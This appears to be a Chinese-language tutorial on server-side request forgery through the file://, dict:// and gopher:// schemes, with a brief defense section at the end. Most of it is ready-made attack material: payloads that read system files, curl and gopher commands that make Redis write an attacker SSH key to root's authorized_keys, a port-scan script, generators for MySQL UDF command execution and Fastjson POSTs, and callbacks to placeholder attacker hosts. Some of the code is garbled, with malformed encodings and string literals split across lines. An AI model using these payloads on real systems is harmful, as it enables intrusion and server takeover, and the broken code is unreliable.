一、SSRF 是什么

SSRF(Server-Side Request Forgery,服务端请求伪造)是一种攻击者让服务器发起非预期网络请求的漏洞。它与 CSRF 的核心区别在于:请求发起方是服务器,而非浏览器,因此能访问浏览器访问不到的内网资源。

1.1 核心成因

一个典型的 SSRF 代码长这样:

# vulnerable.py - Python Flask 示例
from flask import Flask, request
import urllib.request

app = Flask(__name__)

@app.route('/fetch')
def fetch():
    url = request.args.get('url')
    # 直接用用户可控的 URL 发起服务端请求
    resp = urllib.request.urlopen(url)
    return resp.read()

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

开发者本意是让用户"抓取一个网页",但没有限制协议和目标地址,攻击者就可以构造任意 URL。

1.2 常见触发点

功能 代码特征 危险函数
图片下载/转存 传入图片 URL curl、file_get_contents、requests.get
网页预览/截图 渲染指定链接 puppeteer、wkhtmltoimage
RSS/订阅源 读取用户填写的 feed simplexml_load_file
远程资源导入 导入外部配置 include、import、require
回调接口 接收用户指定的回调 URL -

二、file:// 协议:读取本地文件

2.1 原理

file:// 协议让服务器把目标当作本地文件系统路径来读取。典型 payload:

file:///etc/passwd
file:///etc/hosts
file:///proc/self/environ
file:///var/www/html/config.php
file:///C:/Windows/win.ini
file:///Windows/System32/drivers/etc/hosts

2.2 PHP 场景实测

<?php
// 漏洞点
$url = $_GET['url'];
echo file_get_contents($url);
?>

请求 payload:

http://127.0.0.1:8080/ssrf.php?url=file:///etc/passwd

返回:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

2.3 Java 场景实测

// 漏洞代码
String url = request.getParameter("url");
URL u = new URL(url);
HttpURLConnection conn = (HttpURLConnection) u.openConnection();
InputStream in = conn.getInputStream();
// 注意:openConnection 不检查协议,file:// 也能成功

注意 Java 的 HttpURLConnection 会自动跟随 302 重定向,这个特性在其他场景还能组合使用。

2.4 注意事项

  • file:// 后必须有 三个斜杠file:///etc/passwd
  • 某些环境 file:// 被禁用,需要通过 gopher://file:// 或 302 重定向绕过
  • 新版 curl(7.68+)在 HTTP 重定向到 file:// 时会自动拒绝

2.5 通过 file:// 读取 PHP 文件源码

直接请求 file:///var/www/html/config.php 返回的是解析后的空结果,不是源码。需要用 PHP 伪协议 配合:

file:///var/www/html/config.php  # 不行,PHP 会被执行
php://filter/convert.base64-encode/resource=/var/www/html/config.php  # 可以

这是 SSRF + LFI 组合拳,后面章节详述。

三、dict:// 协议:探测内网端口与服务

3.1 原理

dict:// 协议让服务器向目标端口发送原始 TCP 数据并返回响应,非常适合端口扫描和未授权访问。

3.2 典型 payload

dict://127.0.0.1:6379/info       # Redis 未授权
dict://127.0.0.1:3306/           # MySQL 指纹
dict://127.0.0.1:6379/SET%20pwn%20"hello"  # 写入 Redis
dict://attacker.com:6379/flushall  # 外带 DNS 探测
dict://127.0.0.1:22/             # SSH banner

3.3 实战示例:Redis 未授权写文件

# SSRF  payload
# 目标:把 SSH 公钥写进 /root/.ssh/authorized_keys
# 步骤 1:写公钥到 Redis 根目录
curl "http://vuln.com/fetch?url=dict://127.0.0.1:6379/set%20payload%20%22%5c%5n%5c%5nssh-rsa%20AAAAB3NzaC1yc2EAAAADAQABAAABAQ...%5c%5n%5c%5n%22"

# 步骤 2:配置 dir 和 dbfilename
curl "http://vuln.com/fetch?url=dict://127.0.0.1:6379/config%20set%20dir%20/root/.ssh"
curl "http://vuln.com/fetch?url=dict://127.0.0.1:6379/config%20set%20dbfilename%20authorized_keys"

# 步骤 3:触发保存
curl "http://vuln.com/fetch?url=dict://127.0.0.1:6379/save"

3.4 dict:// 协议的局限

  • 默认会在请求后自动加 \r\n
  • 只支持简单的"请求-响应"模式,复杂交互(如 TLS)不适用
  • 部分语言/库的 dict:// 实现有差异,需要测试

3.5 端口扫描脚本

# ssrf_portscan.py
import requests
import sys

TARGET = "http://vuln.com/fetch?url="
PORTS = [21, 22, 23, 25, 80, 110, 143, 3306, 5432, 6379, 8080, 8443, 9200, 27017]

def check_port(ip, port):
    url = f"{TARGET}dict://{ip}:{port}/"
    try:
        r = requests.get(url, timeout=5)
        if r.status_code == 200 and len(r.text) > 0:
            print(f"  [+] {ip}:{port} OPEN - response length {len(r.text)}")
            return True
        elif "Connection refused" in r.text:
            print(f"  [-] {ip}:{port} closed")
        elif "Timeout" in r.text:
            print(f"  [?] {ip}:{port} filtered")
    except requests.exceptions.Timeout:
        print(f"  [?] {ip}:{port} filtered (timeout)")
    except Exception as e:
        print(f"  [!] {ip}:{port} error: {e}")
    return False

if __name__ == '__main__':
    ip = sys.argv[1] if len(sys.argv) > 1 else '127.0.0.1'
    for p in PORTS:
        check_port(ip, p)

四、gopher:// 协议:内网攻击的瑞士军刀

4.1 原理

gopher:// 协议是 SSRF 攻击中最强大也最危险的协议。它可以向目标服务器发送任意字节序列,包括复杂的多命令交互、二进制协议数据、POST 请求体等。

gopher 的 URL 编码规则:

gopher://目标IP:端口/_payload

其中:

  • _ 后面是要发送的原始数据
  • %0d%0a 是 CR+LF(
    ),大多数协议用它做分隔
  • 空格编码为 %20,斜杠编码为 %2f,冒号编码为 %3a

4.2 Redis 批量命令执行

这是 gopher:// 最经典的 payload,一条 URL 完成所有操作:

gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aSET%0d%0a$6%0d%0apayload%0d%0a$300%0d%0a%0d%0n%0d%0nssh-rsa%20AAAAB3NzaC1yc2EAAAADAQABAAAB...%0d%0n%0d%0n%0d%0a*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$3%0d%0adir%0d%0a$9%0d%0a/root/.ssh%0d%0a*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$10%0d%0adbfilename%0d%0a$15%0d%0aauthorized_keys%0d%0a*1%0d%0a$4%0d%0aSAVE%0d%0a

这段看不懂?没关系,用 Python 自动生成:

# gopher_helper.py - Redis payload 自动生成
def gen_redis_gopher(ip, port, payload_content, path, filename):
    cmds = [
        f"SET payload "

{payload_content}

"",
        f"CONFIG SET dir {path}",
        f"CONFIG SET dbfilename {filename}",
        "SAVE",
    ]
    raw = "
".join(cmds) + "
"
    return "gopher://{}:{}/_{}".format(
        ip, port,
        raw.replace("
", "%0d%0a").replace(" ", "%20").replace("/", "%2f").replace(":", "%3a")
    )

# 使用示例
key = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQ... attacker@evil"
url = gen_redis_gopher("127.0.0.1", 6379, key, "/root/.ssh", "authorized_keys")
print(url)

4.3 gopher:// 攻击 MySQL

# gopher_mysql.py - MySQL UDF 写文件
def gen_mysql_udf(ip, port, dll_path, cmd):
    # 发送 MySQL 协议的 4.1 认证包
    # 实际中需要先抓包分析,这里给出原理示例
    auth_pkt = (
        "\x0a\x35\x2e\x37\x2e\x33\x36\x00"
        "\x00\x00\x00\x00\x00\x00\x00\x00"
        "\x00\x00\x00\x00\x00\x00\x00\x00"
        "\x00\x00\x00\x00\x00\x00\x00\x00"
    )
    sql = (
        f"SELECT * FROM mysql.func WHERE name='sys_exec';"
        f"CREATE FUNCTION sys_exec RETURNS STRING SONAME '{dll_path}';"
        f"SELECT sys_exec('{cmd}');"
    )
    import urllib.parse
    raw = auth_pkt + sql
    return "gopher://{}:{}/_{}".format(ip, port, urllib.parse.quote(raw, safe=''))

4.4 gopher:// 发送完整 HTTP POST

这被称为 gopher + HTTP POST 技术,常用于攻击内网的 HTTP 服务(如 Fastjson、Druid、SpringBoot Actuator 等):

gopher://127.0.0.1:8080/_POST%20/api/rpc%20HTTP/1.1%0d%0aHost:%20127.0.0.1:8080%0d%0aContent-Type:%20application/json%0d%0aContent-Length:%20123%0d%0aConnection:%20close%0d%0a%0d%0a{"@type":"java.lang.AutoCloseable"}

4.5 自动构造 HTTP gopher

# gopher_http.py
import urllib.parse

def build_gopher_http(host, port, path, method="GET", headers=None, body=""):
    headers = headers or {}
    body_len = len(body.encode())
    headers.setdefault("Host", f"{host}:{port}")
    if body:
        headers.setdefault("Content-Length", str(body_len))
    headers.setdefault("Connection", "close")

    lines = [f"{method} {path} HTTP/1.1"]
    for k, v in headers.items():
        lines.append(f"{k}: {v}")
    lines.append("")
    lines.append(body)
    raw = "
".join(lines)
    encoded = urllib.parse.quote(raw, safe='')
    return f"gopher://{host}:{port}/_{encoded}"

# 攻击内网 Fastjson 示例
poc = '{"a":{"@type":"java.net.Inet4Address","val":"dnslog.attacker.com"}}'
print(build_gopher_http(
    "127.0.0.1", 8080, "/Fastjson",
    method="POST",
    headers={"Content-Type": "application/json"},
    body=poc,
))

五、curl 各协议支持矩阵

不是所有 SSRF 都能使用全部协议,取决于底层 HTTP 库:

协议 curl PHP cURL PHP file_get_contents Java URL Python requests Go net/http
http
https
file
dict
gopher
ftp

这意味着:

  • PHP file_get_contents 虽然用了 URL 包装器,但不支持 gopher/dict
  • Python requests 默认不支持 file://,可通过 pip install requests-file 扩展
  • curl 是协议最全的,但新版 curl(7.68+)限制了重定向到 file://

六、跨协议重定向组合拳

很多场景单一协议被禁用,需要协议链组合:

6.1 HTTP -> gopher(302 重定向)

# Flask 靶场:开放 gopher 协议的 302 转发
from flask import Flask, redirect

app = Flask(__name__)

@app.route('/open')
def open_gopher():
    # 攻击者控制的 302 中转
    return redirect("gopher://127.0.0.1:6379/_PING", code=302)

6.2 HTTP -> file(curl --location)

# 靶场 curl 跟随重定向到 file://
import subprocess, urllib.parse
from flask import Flask, redirect

app = Flask(__name__)

@app.route('/jump')
def jump():
    return redirect("file:///etc/passwd")

@app.route('/fetch')
def fetch():
    url = request.args.get('url')
    out = subprocess.check_output(['curl', '-s', '-L', url])
    return out

攻击链:fetch -> jump -> 302 到 file:// -> curl -L 跟随 -> 读取文件

6.3 协议链组合总结

前置条件 技术 利用链
目标仅允许 http/https,curl 跟随重定向 HTTP -> file 302 /fetch?url=http://attacker.com/302tofile
目标用 Java HttpURLConnection(302 自动跟随) HTTP -> gopher 302 Java 自动 follow 到 gopher
目标禁用了 gopher 但有反射 SSRF URL 解析差异 http://127.0.0.1&gopher://evil.com/_
所有单行协议都禁了 DNS Rebinding 绕过 IP 白名单

七、靶场搭建:Node.js 多协议 SSRF

// vuln-ssrf.js
const express = require('express');
const http = require('http');
const https = require('https');
const dns = require('dns');
const fs = require('fs');
const url = require('url');
const { execSync } = require('child_process');

const app = express();

// 支持 gopher:// 的自定义 agent
class GopherAgent extends http.Agent {
    addRequest(req, options) {
        const u = url.parse(options.href);
        const raw = decodeURIComponent(u.pathname.slice(1)); // 去掉开头 /
        const sock = require('net').connect(u.port || 80, u.hostname, () => {
            sock.write(raw);
            sock.pipe(req.socket);
        });
    }
}

const gopherAgent = new GopherAgent();

function req(target, protocol) {
    return new Promise((resolve, reject) => {
        try {
            const u = url.parse(target);
            switch (protocol) {
                case 'file':
                    fs.readFile(u.path, (e, d) => e ? reject(e) : resolve(d.toString()));
                    break;
                case 'dict':
                case 'gopher': {
                    const { spawn } = require('child_process');
                    const curl = spawn('curl', ['-s', '-G', '--path-as-is', target, '--max-time', '5']);
                    let out = '';
                    curl.stdout.on('data', d => out += d);
                    curl.on('close', () => resolve(out));
                    curl.on('error', reject);
                    break;
                }
                case 'http':
                case 'https': {
                    const mod = protocol === 'https' ? https : http;
                    mod.get(target, res => {
                        let data = '';
                        res.on('data', c => data += c);
                        res.on('end', () => resolve(data));
                    }).on('error', reject);
                    break;
                }
                default:
                    reject(new Error('unsupported protocol: ' + protocol));
            }
        } catch (e) { reject(e); }
    });
}

app.get('/ssrf', async (req, res) => {
    const u = req.query.url;
    if (!u) return res.send('need url');
    const protocol = (u.match(/^([a-zA-Z]+):/) || [])[1] || 'http';
    try {
        const body = await req(u, protocol.toLowerCase());
        res.type('text/plain').send(body);
    } catch (e) {
        res.status(500).send('ERROR: ' + e.message);
    }
});

app.listen(3000, () => console.log('Vuln SSRF on :3000'));

八、防御方案

8.1 协议白名单

ALLOWED_SCHEMES = {'http', 'https'}

def safe_fetch(url):
    parsed = urlparse(url)
    if parsed.scheme not in ALLOWED_SCHEMES:
        raise ValueError(f"blocked scheme: {parsed.scheme}")
    if not parsed.hostname:
        raise ValueError("missing hostname")
    # 还要防 DNS Rebinding(见后续章节)
    return requests.get(url, timeout=10)

8.2 IP 黑名单 + DNS Rebinding 防护

import ipaddress
import socket

BLOCKED_NETWORKS = [
    ipaddress.ip_network('10.0.0.0/8'),
    ipaddress.ip_network('172.16.0.0/12'),
    ipaddress.ip_network('192.168.0.0/16'),
    ipaddress.ip_network('127.0.0.0/8'),
    ipaddress.ip_network('0.0.0.0/8'),
    ipaddress.ip_network('169.254.0.0/16'),
    ipaddress.ip_network('::1/128'),
    ipaddress.ip_network('fc00::/7'),
    ipaddress.ip_network('fe80::/10'),
]

def is_private_ip(ip_str):
    try:
        ip = ipaddress.ip_address(ip_str)
    except ValueError:
        return True
    return any(ip in net for net in BLOCKED_NETWORKS)

def safe_resolve(hostname):
    # 解析并二次校验防 DNS Rebinding
    ips = socket.getaddrinfo(hostname, None)
    for _, _, _, _, sockaddr in ips:
        if is_private_ip(sockaddr[0]):
            raise ValueError(f"private ip blocked: {sockaddr[0]}")
    return ips

8.3 统一代理出口

把所有外发请求通过独立的 HTTP 代理出去:

import os
os.environ['HTTP_PROXY'] = 'http://proxy.internal:3128'
os.environ['HTTPS_PROXY'] = 'http://proxy.internal:3128'
# 代理层统一做协议过滤 + IP 检查 + 审计日志

九、小结

协议 能力 适用场景 局限
file:// 读本地文件 配置泄露、代码泄露 仅读,不支持 PHP 源码
dict:// 原始 TCP 单请求 Redis/MySQL 未授权、端口扫描 简单请求-响应
gopher:// 原始 TCP 任意字节 复杂协议交互、HTTP POST 多数语言默认不支持

核心思路: 利用任何可用协议先做外网探测(DNS Log、HTTP OOB)拿到回连,再升级到内网深度利用。三种协议经常组合使用,实战中 gopher + HTTP POST 是当前主流攻击手段。